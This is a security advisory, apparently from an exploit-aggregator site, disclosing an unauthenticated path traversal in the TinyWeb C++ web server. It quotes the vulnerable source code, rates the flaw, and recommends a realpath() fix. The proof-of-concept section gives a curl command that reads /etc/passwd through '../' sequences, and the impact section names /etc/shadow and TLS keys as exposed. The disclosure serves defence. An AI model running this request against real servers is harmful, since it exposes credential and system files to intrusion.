Share
## https://sploitus.com/exploit?id=PACKETSTORM:227153
# Security Advisory: Unauthenticated Path Traversal Allows Arbitrary File Read (TinyWeb)
    
    **Assigned CVE ID:** CVE-2026-67185
    
    ## Summary
    
    TinyWeb builds the path of the file to serve by joining the web root with the request URL exactly as it arrives, with no normalization. A remote client that has never authenticated can insert `../` sequences into the request line and read any file the server process can open, including files outside the web root.
    
    ## Affected software
    
    - Project: TinyWeb (https://github.com/GeneralSandman/TinyWeb)
    - Version reported by the build: `TnyWeb/0.0.8`
    - Affected commits: `0b3b5fd` (2019-01-09), where the path is first assembled this way, through `a381da2` (2023-11-22, latest on `master`).
    - Fixed version: none. The project has no tagged releases; every published revision in that range is affected.
    
    ## Classification
    
    - CWE-22: Improper Limitation of a Pathname to a Restricted Directory ("Path Traversal")
    - CVSS 4.0 base score: 8.7 (High)
    - Vector: `CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:H/VI:N/VA:N/SC:N/SI:N/SA:N`
    
    ## Threat model
    
    An unauthenticated remote attacker who can reach the server's listening TCP port (9090 in the shipped configuration). No credentials, no user interaction, and no prior access are required. A single request is enough.
    
    ## Technical details
    
    `HttpBuilder::buildResponse()` starts with the configured web root and appends the URL path field straight from the parsed request:
    
    ```cpp
    // src/tiny_http/http_responser.cc:80
    sdsncat(&file_path, server.www.c_str(), server.www.size());
    
    // src/tiny_http/http_responser.cc:83-87
    if (url->field_set & (1 << HTTP_UF_PATH)) {
        unsigned int off = url->fields[HTTP_UF_PATH].offset;
        unsigned int len = url->fields[HTTP_UF_PATH].len;
        sdsncat(&file_path, url->data + off, len);
    }
    
    // src/tiny_http/http_responser.cc:90-94
    std::string f(file_path.data, file_path.len);
    file_type = isRegularFile(f);
    if (0 == file_type) {
        return_val = file->setFile(f);   // stat() + open() on the joined path
    }
    ```
    
    Between the join at line 86 and the filesystem call at line 94 there is no dot-segment removal (RFC 3986 section 5.2.4), no `realpath()` canonicalization, and no check that the result stays inside `server.www`.
    
    The URL parser does not filter `..` either. In `HttpParser::parseUrlChar()` the path state accepts any character that passes `isUrlChar()`, and `.` is a valid URL character, so `../` reaches `buildResponse()` unchanged:
    
    ```cpp
    // src/tiny_http/http_parser.cc:653-654
    case s_requ_path: //finished
        if (isUrlChar(ch))
            return s_requ_path;
    ```
    
    `HttpFile::setFile()` then opens and serves whatever path was produced, using the privileges of the server process:
    
    ```cpp
    // src/tiny_http/http_model_file.cc:43
    return_val = open(name.c_str(), O_RDONLY);
    ```
    
    Note: TinyWeb never percent-decodes the URL path, so `%2e%2e%2f` does not work. The literal `../` form does.
    
    ## Proof of concept
    
    1. Start the server with the shipped configuration (listening on port 9090, serving from the configured web root).
    
    2. Send a request whose path climbs above the web root. The `--path-as-is` flag stops curl from collapsing the `../` before sending:
    
    ```
    curl --path-as-is 'http://TARGET:9090/../../../../etc/passwd'
    ```
    
    3. The server responds `200 OK` with the contents of `/etc/passwd`:
    
    ```
    HTTP/1.1 200 OK
    Server: TinyWeb/0.0.8
    Transfer-Encoding: chunked
    
    root:x:0:0:root:/root:/bin/bash
    daemon:x:1:1:daemon:/usr/sbin:/usr/sbin/nologin
    ...
    ```
    
    The number of `../` segments needed depends on how deep the web root sits. Any count at or above the web root depth works, because the kernel ignores `..` at the filesystem root.
    
    ## Impact
    
    Any remote client can read any file the server process is allowed to open. In the default setup the workers run as root, so this includes `/etc/shadow`, TLS private keys, configuration files with credentials, and the application's own source under the web root.
    
    ## Remediation
    
    Canonicalize the joined path with `realpath()` and reject the request unless the result is inside the configured web root. As defense in depth, remove dot-segments during URL parsing per RFC 3986 section 5.2.4, and percent-decode the path before that normalization runs.